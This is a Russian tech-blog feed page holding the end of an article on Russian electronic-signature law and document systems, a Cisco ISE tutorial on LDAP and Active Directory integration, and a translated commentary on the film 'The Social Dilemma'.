  8. Гражданский процессуальный кодекс РФ, а именно: под ст. 71 п. 1 Письменными доказательствами являются содержащие сведения об обстоятельствах, имеющих значение для рассмотрения и разрешения дела, акты, договоры, справки, деловая корреспонденция, иные документы и материалы, выполненные в форме цифровой, графической записи, в том числе полученные посредством факсимильной, электронной или другой связи либо иным позволяющим установить достоверность документа способом;
  9. Законодательная часть по КИИ РФ, которая была приведена во Введении.

Практический опыт судебных дел по применимости ЭП в первичном применении


Рассмотрим несколько публичных примеров, которые сыграли важную роль на формирование ЭП, в плане ношения юридической силы и приемлемости на территории РФ:


  1. Постановление Федерального арбитражного суда Волго-Вятского округа от 11 августа 2010 года по делу под N В3-5226/2010: ФАС Волго-вятского округа признал юридическую силу ЭЦП (так как ранее было применимо данное наименование ЭП), где истец требовал взыскания задолженности с ответчика за неоплаченный факсимильный товар, так как ответчик не признавал электронные документы, подписанные ЭЦП и утверждал, что данные документы подписаны неуполномоченным лицом, без какого-либо удостоверяющего центра с классом (речь идет о классах типа: квалифицированная подпись). По факту данного дела суд установил, что документы составлены в соответствии с формализованными требованиями, следовательно, между обеими сторонами было заключено дополнительное соглашение к первородному договору, в котором предусмотрено применение СЭД с использованием ЭЦП при составлении первичной документации, так как был представлен сертификат ЭЦП удостоверяющего центра (в отличии от нынешней механики взаимодействия), следовательно, суд постановил, что документы были подписаны уполномоченным лицом ответчика надлежащим образом;
  2. Постановление Федерального арбитражного суда северо-западного округа от 1 июня 2009 по делу Г6-28501/2008: приведенный довод ИФНС об отсутствии у ОАО оснований для предъявления к вычету НДС по счету-фактуре, подписанному штампом-факсимилом воспроизводящим личную подпись руководителя организации-поставщика, что представленная подпись является не обоснованной, поскольку действующее законодательство РФ, в тот момент времени, не устанавливает допустимые форматы способов подписания счетов-фактур, в том числе не предусматривает запрет на подпись руководителя проставлением факсимильной подписи, которая представляется способом выполнения оригинальной личной подписи руководителя, что является альтернативой решения в плане применимости ЭП на тот момент времени;
  3. Определение Высшего арбитражного суда Российской федерации от 13 февраля 2009 года под ВАС-16068/08: передача дела по заявлению о признании незаконными актами налогового органа по начислению налогов, начислению пеней, привлечении к налоговой ответственности по п. 1 ст. 122 НК РФ для пересмотра надзора судебных актов, где было отказано, поскольку представленные доказательства подтверждают наличия хозяйственных операций между заявителями и ООО. Отметим, что проставления на счетах-фактурах факсимильной подписи при наличии соглашения, не является нарушением обществом ст. 169 НК РФ, так же как альтернативное решение вышеописанных двух пунктов.

Следует сделать промежуточный вывод, что законодательство РФ по поводу электронного документооборота с применением ЭП, расширяет возможности переходов на безбумажные носители из года в год, перенимая наружную практику на базе КСЗИ, в зависимости от соблюдения локальных и федеральных ПП, НПА и ФЗ РФ о принятии решений в развитий данной семантики документооборота в цифровом варианте. Также первоочередные функций для СЭД были установлены нормами внутреннего потокового документооборота по БП. Данные нормы применялись в формате обмена данных, посредством электронных сообщений через почтовые ресурсы, взаимодействующих организаций которые далее подверглись стандартизации на базе архивных дел бумажных носителей. Вследствие течения нескольких лет по положениям законодательства РФ имело место тенденции унификации СЭД в государственных и муниципальных учреждениях, что в свою очередь позволило коммерческим организациям войти на рынок, в плане импортозамещения по запрашиваемым форматам автоматизации БП, где данный формат обязывает действовать подрядчиков по действующему законодательству РФ на организацию обеспечения ЗИ, ИБ так как данная документация подвергалась значительным утечкам, что в свою очередь не было достаточным для ОИБ по НСД.


Принципы и методы по ДОУ на базе СЭД с применением ЭП


Приведем спецификацию по утвержденным постановлениям и законодательным актам основополагающих принципов и методов межведомственного электронного потокового документооборота по ключевым БП, которые включают:


  1. Предоставление обеспечения технологической возможности электронного документооборота определенным числом его участников;
  2. Электронное сообщение, подписанное ЭП или иным аналогом собственноручной подписи, является электронным документом, равнозначным документу, подписанному собственноручной подписью, также устанавливается, что обмен электронными сообщениями, каждое из которых подписано ЭП или иным аналогом собственноручной подписи отправителя такого сообщения, в порядке, установленном ФЗ, иными НПА или соглашением сторон, рассматривается как обмен документами являющимся форматом СЭД;
  3. Устанавливание требований и регламентационной базы в порядке расположения квалифицированного сертификата ЭП;
  4. Устанавливание процедур взаимодействия участников электронного документооборота, в рамках выставления и получения счетов-фактур в электронном виде по информационно-телекоммуникационным каналам связи с применением ЭЦП, покрывающим ТЗКИ;
  5. Документация в электронной форме, создается организациями, то есть участниками информационного взаимодействия в СЭД, в соответствии с требованиями законодательства РФ, а также внутренних НПА, устанавливающих правила (порядок) документирования, документооборота и использования документов;
  6. Порядок документирования и организации работы с документами в формате ПИБО, устанавливается Инструкциями определенного рода, приказами руководителя организации, где Инструкция по делопроизводству детально регламентируют все делопроизводственные процессы применительно к документации в электронной форме, включающие методики по АСУ ТП;
  7. Документы являются основой гражданских правоотношений и содержат основополагающие понятия, такие как сделка и договор;
  8. Согласно п. 2 ст. 26.7 содержащая положения о том, что документы могут содержать сведения, зафиксированные как в письменной, так и в иной форме, к такой формации документов отнесены материалы фотосьемки и киносъемки, звукозаписи и видеозаписи, информационных баз данных, а также систем управления ими и иные носители информации в формате СКСН;
  9. Установление состава реквизитов документации, требований к оформлению реквизитов документов, требований к бланкам документов, в том числе электронным;
  10. Стандартизация регулирования процессов управления документацией, предназначенной для внутреннего или внешнего пользования посредством СЭД;
  11. Положения специализированного стандарта, которые являются рекомендациями в создании систем управления документами в автоматизированном исполнении, обеспечения соответствия документов установленным характеристикам: аутентичность, достоверность, конфиденциальность, целостность, пригодность для использования и тому подобное;
  12. Установление требований к составу и содержанию реквизитов, придающих юридическую силу документам на машинном носителе и машинограмме;
  13. Содержание положений, позволяющих рассматривать электронные документы в качестве вещественных доказательств, при обязательном условии удостоверения документов при наличии ЭП, согласно УЦ;
  14. Отраслевые кодексы, содержащие положения с электронными документами в соответствующих сферах деятельности;
  15. Налоговый кодекс РФ в ст. 80, который содержит разрешение представлять налоговую отчетность в электронном виде;
  16. Таможенный кодекс РФ в п. 8 ст.63, который закрепляет, что документация, необходимая для таможенного оформления может быть представлена в электронной форме;
  17. Трудовой кодекс РФ в главе 49.1, в которой предусмотрено взаимодействие дистанционного работника или ответственного лица, поступающего на дистанционную работу, а также работодателя путем обмена документами на базе СЭД, в которых используются усиленные квалифицированные ЭП дистанционного работника, где в примечании указываются изменения по ТК РФ, которые были внесены введением в силу ФЗ РФ 60 от 05 апреля 2013 г. О внесении изменений в отдельные законодательные акты Российской Федерации;
  18. Использование СЭД выявляет необходимость в ОИБ КДОУ (конфиденциального документационного обеспечения управления) и защиты обрабатываемой, и хранящейся информации, за исключением ФЗ РФ 149 и доктрины информационной безопасности, где в следствии которых следует употреблять положения ФЗ РФ 5485 О государственной тайне от 21 июля 1993 года и ФЗ РФ О коммерческой тайне от 29 июля 2011 года под 98 с определенным форматом ДСП для градации информации на С, СС, ОВ, либо конфиденциальной информации ОД, а также служебной, профессиональной тайне и иное. В этом случае если в деятельности организации создается информация, составляющая данные виды тайн, а также имеющие к ним отношения в соответствии с приказами от ФСТЭК России 17 от 11 Февраля 2013 г. и приказа ФСТЭК России 21 От 18 Февраля 2013 г. со всеми вытекающими форматами по ОИБ смежных и совокупных данных обрабатываемых СЭД;
  19. Нормативные документы, предназначенные для определения сроков хранения, отбора на хранение и уничтожения типовых управленческих документов;
  20. Нормы времени на работы по документационному обеспечению управленческих структур федеральных органов исполнительной власти, утвержденные Постановлением Минтруда 23 от 6 марта 2002 г.;
  21. Уполномоченные лица межведомственных структур организации в применяемой СЭД с совместимыми технологиями ИС, ПО, в том числе форматов, протоколов информационного взаимодействия и унифицированных программно-технических средств;
  22. Применение СПО и сертифицированных программно-технических средств на базе БДУ ФСТЭК России и классификации по модели атаки, и нарушителям, обладающих лицензиями от ФСТЭК России и ФСБ России, применяемого для участников межведомственного электронного документооборота в соответствии с действующим законодательством РФ;
  23. Обеспечение основополагающих принципов ИБ, на базовом уровне, таком как: целостность, доступности и конфиденциальности передаваемой информации опосредованно внутри и вне СЭД;
  24. Минимизация издержек, рисков по СУИБ, согласно семейства ISO/IEK 27000, включая KPI, в том числе финансовых и временных издержек, при осуществлении информационного взаимодействия между участников и уполномоченных лиц, также межведомственного электронного документооборота посредством СЭД в целях ОИБ организации;
  25. Обеспечение конфиденциальности передачи и получения информации, посредством ТЗКИ, обладающих сертификатами соответствия от ФСТЭК России и ФСБ России, внутри, а также вне СЭД для ОИБ по действующему законодательству РФ.

Сделаем промежуточный вывод, где вследствие указанных принципов и методов применяемых в формирования СЭД, посредством автоматизации, прослеживается семантика для централизации и адаптации БП, согласно потокового документооборота. Вследствие чего был сформирован комплекс стандартов, где основным является ГОСТ Р 53898 от 2010 года Системы электронного документооборота. Взаимодействие систем управления документами. Требования к электронному сообщению на которые опирается автоматизация СЭД по основным и второстепенным БП, а также устанавливают политики состава и содержания электронного сообщения, с применением ЭП, которые обеспечивают информационное взаимодействие между систем управления, согласно ГОСТ и ОСТ РФ.


Движение рынка СЭД с изменением законодательства РФ


Рассмотрим формат движения рынка ЭДС с динамикой последних 5 лет, основываясь на статистике TadViser, включая законодательство РФ:


  1. ПП РФ 1 от 1 января 2016 года, который заключил положения в плане запретительных политик на закупку зарубежного ПО для государственных и муниципальных нужд в ситуациях, когда имеется на отечественном рынке аналоги, не уступающие по качеству и функционалу с соответствующими, опираясь на сертификаты соответствия с ФСТЭК России. Как пример: ФЗ РФ 44;
  2. СЭД интегрируются с BPM (Business Process Management) решениями, по программному обеспечению для автоматизации бизнес-процессов, также с сервисами интеллектуального поиска, бизнес-аналитики и коллективной работы сотрудников, в том числе для СУИБ на стандартах РФ, включая ИСО/МЭК;
  3. Для предпринимателей, коммерческой структуры РФ по IT, представились преимущества облачных решений, как модель обеспечения сетевого доступа посредством сети, которые используются с минимальными эксплуатационными затратами или обращениями к провайдеру, по следующим причинам:
    3.1. Автоматизация СЭД по облачным решениям позволяет планировать финансовые затраты в формате минимизации на потреблении дополнительного серверного оборудования в формате DevOps;
    3.2. Перевод организационно-корпоративных данных в частное или публичное облако позволяет расширить параметры ИС организации и реорганизовать удалённый доступ для авторизованных пользователей (стоит отметить, что все зависит от типа информации для обеспечения ДОУ/КДОУ), разграничив согласно ФЗ и НПА, ПП РФ, что дает сотрудникам структурных подразделений организации возможность совместной работы над едиными управленческими и документационными задачами в режиме онлайн;
  4. Наблюдается увеличение числа пользователей мобильных приложений ЭДС и самих исполнителей данных задач автоматизации и потокового обмена данных, в том числе по формату аутсорсинга, так как мобильные приложения дают возможность наблюдения за изменениями информации и контроля деятельности. Так за период 2015 года свыше 300 000 пользователей установили себе мобильное приложение 1С: Документооборот;
  5. Лица могут воспользоваться персональной ЭП для формирования договоров или отчетной документации для заверения и обособленности информации.

Выводы


Частичная или полная автоматизация СЭД является целевым и первоочередным форматом развития организаций в настоящее время, с перспективами дальнейшего роста, как в бюджетных, так и коммерческих образованиях. Автоматизация СЭД в государственных и муниципальных учреждениях РФ ставится с целью ликвидного повышения эффективности, оптимизации, адаптивности, работоспособности органов структурных подразделений, где несмотря на тотальный контроль со стороны нормативных, организационных, управленческих, методических норм прослеживается формат развития законодательной части и государственного строя, как пример: законодательная часть в области КИИ.


Представленная регламентационная спецификация определяет статусность процессов автоматизации и работы СЭД, как в коммерческой сфере, так и в бюджетных образованиях и их деятельности в сферах в зависимости от их сфер деятельности. Помимо этого, автоматизация и внедрение СЭД в промышленную эксплуатацию, используется с целью оптимизации и масштабирования потокового электронного документооборота организации. В том числе применяется в формате нормативных актов внутри федеральных органов исполнительной, судебной, законодательной власти, которые заинтересованы в моментальной и точной передаче потоковой информации с полноценной структурой ОИБ, относительно законодательных актов РФ от финансовых органов, налоговой, таможенной службы и др. При использовании СЭД учитываются локальные акты субъектов РФ и правовые акты, принимаемые органами исполнительной власти.


В статье приведены форматы работы смежных оценочных спецификаций, относительно законодательных и нормативных актов РФ, относительно автоматизированных СЭД, где достигнут эффект приведения практических особенностей и политик взаимодействий потокового документооборота, что показывает в свою очередь современное представление обеспечения СЭД по РФ в целом и частном опираясь на практическую часть реализацию ПИБО, согласно действующей законодательной части с приведением качественного и количественного исследования.


P.S.: если ставите минус, прокомментируйте, пожалуйста, дабы в будущем мне не допускать подобных ошибок.


Литература

[1] Постановлении Правительства РФ от 08 сентября 2010 года под 697 "О единой системе межведомственного электронного взаимодействия" с правками на 11 августа 2016 года: [Электронный ресурс]. URL: http://base.garant.ru/199319/.;
[2] Федеральный закон Об электронной подписи N 63 ФЗ от 06 апреля 2011 года: [Электронный ресурс]. URL: http://base.garant.ru/12184522/;
[3] Федеральный закон Об информации, информационных технологиях и защите информации 149 ФЗ от 27 июля 2006 года: [Электронный ресурс]. URL: http://base.garant.ru/12148555/;
[4] Федеральный закон О бухгалтерском учете 129 ФЗ от 21 ноября 1996 года: [Электронный ресурс]. URL: http://www.consultant.ru/document/cons_doc_LAW_12441/;
[5] Налоговый кодекс РФ (часть вторая) в редакции Федерального закона N 229 ФЗ от 27 июля 2010: [Электронный ресурс]. URL: http://www.consultant.ru/document/cons_doc_LAW_103118/;
[6] Арбитражный процессуальный кодекс РФ: [Электронный ресурс]. URL: http://www.consultant.ru/document/cons_doc_LAW_37800/;
[7] Гражданский процессуальный кодекс РФ: [Электронный ресурс]. URL: http://www.consultant.ru/document/cons_doc_LAW_39570/;
[8] Постановление Федерального арбитражного суда Волго-Вятского округа от 11 августа 2010 года по делу под N В3-5226/2010: [Электронный ресурс]. URL: https://www.lawmix.ru/volgo-vyat/1933;
[9] Постановление Федерального арбитражного суда северо-западного округа от 1 июня 2009 по делу Г6-28501/2008: [Электронный ресурс]. URL: https://www.diadoc.ru/docs/laws/postanovlenie-A56-28501-2008;
[10] Определение Высшего арбитражного суда Российской федерации от 13 февраля 2009 года под ВАС-16068/08: [Электронный ресурс]. URL: http://mvf.klerk.ru/otvets/otv0107.htm;
[11] ГОСТ Р 6.30-2003 Унифицированная система организационно-распорядительной документации: [Электронный ресурс]. URL: http://img.artlebedev.ru/kovodstvo/sections/102/GOST_R_6.30-2003.pdf;
[12] ГОСТ Р 7.0.8.-2013 "Делопроизводство и архивное дело Термины и определения": [Электронный ресурс]. URL: http://legalacts.ru/doc/gost-r-708-2013-natsionalnyi-standart-rossiiskoi-federatsii/;
[13] ГОСТ 6.10.4-84 Придание юридической силы документам на машинном носителе и машинограмме, созданным средствами вычислительной техники: [Электронный ресурс]. URL: http://www.alppp.ru/law/informacija-i-informatizacija/42/pridanie-yuridicheskoj-sily-dokumentam-na-mashinnom-nositele-i-mashinogramme-sozdavaemym-s.html;
[14] ГОСТ 6.10.5-87 Унифицированные системы документации. Требования к построению формуляра-образца: [Электронный ресурс]. URL: http://docs.cntd.ru/document/1200012305;
[15] Астахова Л.В. Теория информационной безопасности и методология защиты информации: методическое пособие / Л.В. Астахова. Челябинск: Изд-во ЮУрГУ, 2007. 359 с;
[16] Положение ЦБР от 29 декабря 2010 года под 365-П О порядке направления в банк поручения налогового органа, решения налогового органа, а также направления банком в налоговый орган сведений об остатках денежных средств в электронном виде: [Электронный ресурс]. URL: http://www.garant.ru/products/ipo/prime/doc/12082717/;
[17] Федеральный закон от 13 июля 2015 года под 263-ФЗ О внесении изменений в отдельные законодательные акты Российской Федерации в части отмены ограничений на использование электронных документов при взаимодействии физических и юридических лиц с органами государственной власти и органами местного самоуправления: [Электронный ресурс]. URL: http://base.garant.ru/71127906/;
[18] ФЗ под 60 от 05 апреля 2013 г. О внесении изменений в отдельные законодательные акты Российской Федерации: [Электронный ресурс]. URL: http://base.garant.ru/70353420/;
[19] Лебедев А.Н. Способ рассылки защищенных данных с регулированием доступа к отдельным их разделам // Вопросы кибербезопасности. 2015. 5. C. 70-72;
[20] Марков А.С., Цирлов В.Л. Руководящие указания по кибербезопасности в контексте ISO 27032 // Вопросы кибербезопасности. 2014. 1 (2). С. 28-35.

Подробнее..

Cisco ISE Создание пользователей, добавление LDAP серверов, интеграция с AD. Часть 2

25.09.2020 10:10:53 | Автор: admin

Приветствую во второй публикации цикла статей, посвященному Cisco ISE. В первой статье были освещены преимущества и отличия Network Access Control (NAC) решений от стандартных ААА, уникальность Cisco ISE, архитектура и процесс установки продукта.

В данной статье мы углубимся в создание учетных записей, добавлению LDAP серверов и интеграцию с Microsoft Active Directory, а также в нюансы при работе с PassiveID. Перед прочтением настоятельно рекомендую ознакомиться с первой частью.

1. Немного терминологии

User Identity - учетная запись пользователя, которая содержит информацию о пользователе и формирует его учетные данные для доступа к сети. Следующие параметры, как правило, указываются в User Identity: имя пользователя, адрес электронной почты, пароль, описание учетной записи, группу пользователей и роль.

User Groups - группы пользователей - это совокупность отдельных пользователей, которые имеют общий набор привилегий, которые позволяют им получать доступ к определенному набору сервисов и функций Cisco ISE.

User Identity Groups - предустановленные группы пользователей, которые уже имеют определенную информацию и роли. Следующие User Identity Groups существуют по умолчанию, в них можно добавлять пользователей и группы пользователей: Employee (сотрудник), SponsorAllAccount, SponsorGroupAccounts, SponsorOwnAccounts (спонсорские учетки для управления гостевым порталом), Guest (гость), ActivatedGuest (активированный гость).

User Role - роль пользователя - это набор разрешений, определяющих, какие задачи может выполнять пользователь и к каким сервисам может получить доступ. Зачастую роль пользователя связана с группой пользователей.

Более того, у каждого пользователя и группы пользователей есть дополнительные атрибуты, которые позволяют выделить и более конкретно определить данного пользователя (группу пользователей). Больше информации в гайде.

2. Создание локальных пользователей

1) В Cisco ISE есть возможность создать локальных пользователей и использовать их в политике доступа или даже дать роль администрирования продуктом. Выберите Administration > Identity Management > Identities > Users > Add.

Рисунок 1. Добавление локального пользователя в Cisco ISEРисунок 1. Добавление локального пользователя в Cisco ISE

2) В появившемся окне создайте локального пользователя, задайте ему пароль и другие понятные параметры.

Рисунок 2. Создание локального пользователя в Cisco ISEРисунок 2. Создание локального пользователя в Cisco ISE

3) Пользователей также можно импортировать. В этой же вкладке Administration > Identity Management > Identities > Users выберите опцию Import и загрузите csv или txt файлик с пользователями. Для того, чтобы получить шаблон выберите Generate a Template, далее следует его заполнить информацией о пользователях в подходящем виде.

Рисунок 3. Импорт пользователей в Cisco ISEРисунок 3. Импорт пользователей в Cisco ISE

3. Добавление LDAP серверов

Напомню, что LDAP - популярный протокол прикладного уровня, позволяющий получать информацию, производить аутентификацию, искать учетные записи в каталогах LDAP серверов, работает по порту 389 или 636 (SS). Яркими примерами LDAP серверов являются Active Directory, Sun Directory, Novell eDirectory и OpenLDAP. Каждая запись в каталоге LDAP определяется DN (Distinguished Name) и для формирования политики доступа встает задача подтягивания (retrieval) учетных записей, пользовательских групп и атрибутов.

В Cisco ISE возможно настроить доступ ко многим LDAP серверам, тем самым реализуя избыточность. В случае, если первичный (primary) LDAP сервер недоступен, то ISE попробует обратиться к вторичному (secondary) и так далее. Дополнительно, если имеется 2 PAN, то то для первичной PAN можно сделать приоритетным один LDAP, а для вторичной PAN - другой LDAP.

ISE поддерживает 2 типа лукапа (lookup) при работе с LDAP серверами: User Lookup и MAC Address Lookup. User Lookup позволяет делать поиск пользователю в базе данных LDAP и получать следующую информацию без аутентификации: пользователи и их атрибуты, группы пользователей. MAC Address Lookup позволяет так же без аутентификации производить поиск по MAC адресу в каталогах LDAP и получать информацию об устройстве, группу устройств по MAC адресам и другие специфичные атрибуты.

В качестве примера интеграции добавим Active Directory в Cisco ISE в качестве LDAP сервера.

1) Зайдите во вкладку Administration > Identity Management > External Identity Sources > LDAP > Add.

Рисунок 4. Добавление LDAP сервераРисунок 4. Добавление LDAP сервера

2) В панели General укажите имя LDAP сервера и схему (в нашем случае Active Directory).

Рисунок 5. Добавление LDAP сервера со схемой Active DirectoryРисунок 5. Добавление LDAP сервера со схемой Active Directory

3) Далее перейдите в Connection вкладку и укажите Hostname/IP address AD сервера, порт (389 - LDAP, 636 - SSL LDAP), учетные данные доменного администратора (Admin DN - полный DN), остальные параметры можно оставить по умолчанию.

Примечание: используйте данные домен админа во избежание потенциальных проблем.

Рисунок 6. Ввод данных LDAP сервераРисунок 6. Ввод данных LDAP сервера

4) Во вкладке Directory Organization следует указать область каталогов через DN, откуда вытягивать пользователей и группы пользователей.

Рисунок 7. Определение каталогов, откуда подтянуться группы пользователейРисунок 7. Определение каталогов, откуда подтянуться группы пользователей

5) Перейдите в окно Groups > Add > Select Groups From Directory для выбора подтягивания групп из LDAP сервера.

Рисунок 8. Добавление групп из LDAP сервераРисунок 8. Добавление групп из LDAP сервера

6) В появившемся окне нажмите Retrieve Groups. Если группы подтянулись, значит предварительные шаги выполнены успешно. В противном случае, попробуйте другого администратора и проверьте доступность ISE c LDAP сервером по LDAP протоколу.

Рисунок 9. Перечень подтянутых групп пользователейРисунок 9. Перечень подтянутых групп пользователей

7) Во вкладке Attributes можно опционально указать, какие атрибуты из LDAP сервера следует подтянуть, а в окне Advanced Settings включить опцию Enable Password Change, которая заставит пользователей изменить пароль, если он истек или был сброшен. В любом случае нажмите Submit для продолжения.

8) LDAP сервер появился в соответствующий вкладке и в дальнейшем может использоваться для формирования политик доступа.

Рисунок 10. Перечень добавленных LDAP серверовРисунок 10. Перечень добавленных LDAP серверов

4. Интеграция с Active Directory

1) Добавив Microsoft Active Directory сервер в качестве LDAP сервера, мы получили пользователи, группы пользователей, но не логи. Далее предлагаю настроить полноценную интеграцию AD с Cisco ISE. Перейдите во вкладку Administration > Identity Management > External Identity Sources > Active Directory > Add.

Примечание: для успешной интеграции с AD ISE должен находиться в домене и иметь полную связность с DNS, NTP и AD серверами, в противном случае ничего не выйдет.

Рисунок 11. Добавление сервера Active DirectoryРисунок 11. Добавление сервера Active Directory

2) В появившемся окне введите данные администратора домена и поставьте галочку Store Credentials. Дополнительно вы можете указать OU (Organizational Unit), если ISE находится в каком-то конкретном OU. Далее придется выбрать ноды Cisco ISE, которые вы хотите соединить с доменом.

Рисунок 12. Ввод учетных данныхРисунок 12. Ввод учетных данных

3) Перед добавлением контроллеров домена убедитесь, что на PSN во вкладке Administration > System > Deployment включена опция Passive Identity Service. PassiveID - опция, которая позволяет транслировать User в IP и наоборот. PassiveID получает информацию из AD через WMI, специальных AD агентов или SPAN порт на коммутаторе (не лучший вариант).

Примечание: для проверки статуса Passive ID введите в консоли ISE show application status ise | include PassiveID.

Рисунок 13. Включение опции PassiveID Рисунок 13. Включение опции PassiveID

4) Перейдите во вкладку Administration > Identity Management > External Identity Sources > Active Directory > PassiveID и выберите опцию Add DCs. Далее выберите галочками необходимые контроллеры домена и нажмите OK.

Рисунок 14. Добавление контроллеров доменаРисунок 14. Добавление контроллеров домена

5) Выберите добавленные DC и нажмите кнопку Edit. Укажите FQDN вашего DC, доменные логин и пароль, а также опцию связи WMI или Agent. Выберите WMI и нажмите OK.

Рисунок 15. Ввод данных контроллера доменаРисунок 15. Ввод данных контроллера домена

6) Если WMI не является предпочтительным способом связи с Active Directory, то можно использовать ISE агентов. Агентский способ заключается в том, что вы можете установить на сервера специальные агенты, которые будут отдавать login события. Существует 2 варианта установки: автоматический и ручной. Для автоматической установки агента в той же вкладке PassiveID выберите пункт Add Agent > Deploy New Agent (DC должен иметь доступ в Интернет). Затем заполните обязательные поля (имя агента, FQDN сервера, логин/пароль доменного администратора) и нажмите OK.

Рисунок 16. Автоматическая установка ISE агентаРисунок 16. Автоматическая установка ISE агента

7) Для ручной установки Cisco ISE агента требуется выбрать пункт Register Existing Agent. К слову, скачать агента можно во вкладке Work Centers > PassiveID > Providers > Agents > Download Agent.

Рисунок 17. Скачивание ISE агентаРисунок 17. Скачивание ISE агента

Важно: PassiveID не читает события logoff! Параметр отвечающий за тайм-аут называется user session aging time и равняется 24 часам по умолчанию. Поэтому следует либо делать logoff самому по окончании рабочего дня, либо же писать какой-то скрипт, который будет делать автоматический logoff всем залогиненым пользователям.

Для получения информации logoff используются "Endpoint probes" - оконечные зонды. Endpoint probes в Cisco ISE существует несколько: RADIUS, SNMP Trap, SNMP Query, DHCP, DNS, HTTP, Netflow, NMAP Scan. RADIUS probe с помощью CoA (Change of Authorization) пакетов отдает информацию о смене прав пользователя (для этого требуется внедренный 802.1X), а настроенный на коммутаторах доступа SNMP, даст информацию о подключенных и отключенных устройствах.

Ниже приведен пример, актуальный для конфигурации Cisco ISE + AD без 802.1X и RADIUS: пользователь залогинен на Windows машине, не делая logoff, логиниться с другого ПК по WiFi. В этом случае сессия на первом ПК по-прежнему будет активна, пока не случится тайм-аут или не произойдет принудительный logoff. Тогда если у устройств разные права, то последнее залогиненное устройство будет применять свои права.

8) Дополнительно во вкладке Administration > Identity Management > External Identity Sources > Active Directory > Groups > Add > Select Groups From Directory вы можете выбрать группы из AD, которые хотите подтянуть на ISE (в нашем случае это было сделано в пункте 3 Добавление LDAP сервера). Выберите опцию Retrieve Groups > OK.

Рисунок 18 а). Подтягивание групп пользователей из Active DirectoryРисунок 18 а). Подтягивание групп пользователей из Active Directory

9) Во вкладке Work Centers > PassiveID > Overview > Dashboard вы можете наблюдать количество активных сессий, количество источников данных, агентов и другое.

Рисунок 19. Мониторинг активности доменных пользователейРисунок 19. Мониторинг активности доменных пользователей

10) Во вкладке Live Sessions отображаются текущие сессии. Интеграция с AD настроена.

Рисунок 20. Активные сессии доменных пользователейРисунок 20. Активные сессии доменных пользователей

5. Заключение

В данной статьей были рассмотрены темы создания локальных пользователей в Cisco ISE, добавление LDAP серверов и интеграция с Microsoft Active Directory. В следующей статье будет освещен гостевой доступ в виде избыточного гайда.

Если у вас появились вопросы по данной тематике или же требуется помощь в тестировании продукта, обращайтесь по ссылке.

Следите за обновлениями в наших каналах (Telegram, Facebook, VK, TS Solution Blog, Яндекс.Дзен).

Подробнее..

Перевод Социальные сети управляют вами, но есть способы дать им отпор

25.09.2020 14:16:06 | Автор: admin

Уроки от фильма Netflix Социальная дилемма.

Социальные сети делают вас другим человеком. Они меняют то, что вы делаете, меняют ход ваших мыслей и, в конечном итоге, меняют вас. И, кажется, это чуть страшнее, чем известный и давно обсуждаемый вопрос о защите конфиденциальных данных.

Документальный фильм Социальная дилемма от Netflix показывает, что проблема соцсетей в действительности гораздо глубже, чем может показаться. Через интервью с инженерами, участвовавшими в их создании, нам дают понять, что характерные особенности соцсетей, вызывающие привыкание, тщательно изучаются и с успехом применяются для того, чтобы заставить нас проводить на платформах еще больше времени. Каким образом? Все просто: алгоритмы, используемые в соцсетях, умеют создавать наши идеальные психологические портреты и постепенно изменять нас в собственных интересах.

Как говорит в Социальной дилемме Эдвард Тафти (Edward Tufte): Есть только две сферы деятельности, представители которых называют своих клиентов пользователями: торговля наркотиками и разработка программного обеспечения. Социальные платформы предлагают свои услуги бесплатно, поэтому мы думаем, что продукт, который они продают это наше внимание, и если сервис бесплатный, то вы и есть продукт. Однако, этим дело не ограничивается.

Это постепенное, легкое, незаметное изменение в вашем собственном поведении и восприятии. Именно это и есть единственная вещь, на которой они могут зарабатывать деньги: изменение того, что вы делаете, как вы думаете, изменение вашей личности.

Социальная Дилемма

Так, собственно, в чем проблема?

Социальная дилемма называет три главных повода для беспокойства.

Психическое здоровье

Исследование, в котором поучаствовали 5000 человек, показало, чем чаще люди используют социальные сети, тем хуже они оценивают состояние собственного физического и психического здоровья и тем ниже их удовлетворенность жизнью

Американский журнал эпидемиологии (American Journal of Epidemiology), 2017

Большинство инженеров, работающих в известных технологических гигантах, посещали университетские курсы, где учились использовать основы человеческой психологии с целью манипуляции нами для достижения своих собственных целей. Социальные сети успешно играют на глубинных проявлениях человеческой природы, как бы мы ни пытались этому сопротивляться. Они соблазняет вас. Они манипулирует вами. Они хотят от вас многого, говорит Тристан Харрис (Tristan Harris), бывший специалист Google по этике дизайна и соучредитель Центра гуманных технологий.

Тим Кендалл (Tim Kendall), бывший исполнительный директор Facebook и Pinterest, делится: Думаю, в этом есть некая классическая ирония. Целый день я работаю над созданием чего-то такого, чьим заложником стану сам. И в некоторые моменты я ничего не смогу с собой поделать.

Психологические манипуляции вызывают особую тревогу о представителях более молодых поколений. Современные дети рождаются в мире, управляемом технологиями, который им просто не с чем сравнить.

Мы создали целое поколение людей, выросших в среде, где главной целью общения, главной целью всей культуры, является манипуляция, говорит в фильме писатель Джарон Ланье (Jaron Lanier).

Цена которую мы платим высока. Всё это оказывает огромное влияние на психическое здоровье детей, приводя к росту числа самоубийств и проявлений членовредительства среди подростков.

Демократия

Количество стран, проводящих политические дезинформационные кампании в соцсетях, удвоилось за последние два года

Социальная Дилемма

Неожиданный поворот: социальные сети увеличивают дистанцию между людьми. Идеологическую дистанцию. В фильме рассказывается о том, что разрыв во взглядах сторонников Республиканской и Демократической партий с каждым годом увеличивается, и с каждым годом остается все меньше пространства для взаимопонимания и конструктивного диалога.

Этот феномен один из симптомов болезни, которой больны мы все, и ее страшным последствием может стать угроза демократии. Но эта угроза не является результатом взлома нас какими-то идеологическими группами. Эти группы просто используют имеющиеся в их распоряжении инструменты. Профессор Гарвардской школы бизнеса указывает на простую, но шокирующую правду о российском влиянии на выборы в США в 2016 году: Русские не взламывали Facebook. Они использовали инструменты, которые Facebook специально создал для добросовестных рекламодателей.

Дискриминация

Алгоритмы продвигают контент, который вызывает возмущение, разжигает ненависть и усиливает предубеждения, живущие в информации, которую мы же им даем

Социальная Дилемма

Социальные сети разрушают понятие истины. Вместо того, чтобы жить в едином мире, каждый из нас проводит дни в своем собственном, специально созданном мире даже не осознавая этого. У новостных лент есть пугающий эффект в них мы подтверждаем свои собственные взгляды на жизнь снова и снова, и это отдаляет нас от реальности.

Конечная цель технологических компаний 'определять аудиторию из одного человека' и извлекать максимум данных о каждом пользователе", говорит Тристан Харрис. "Это отправляет каждого человека в свою собственную кроличью нору", или, как говорит режиссер фильма Джефф Орловски (Jeff Orlowski): "2,7 миллиарда "Шоу Трумэна", работающих одновременно.

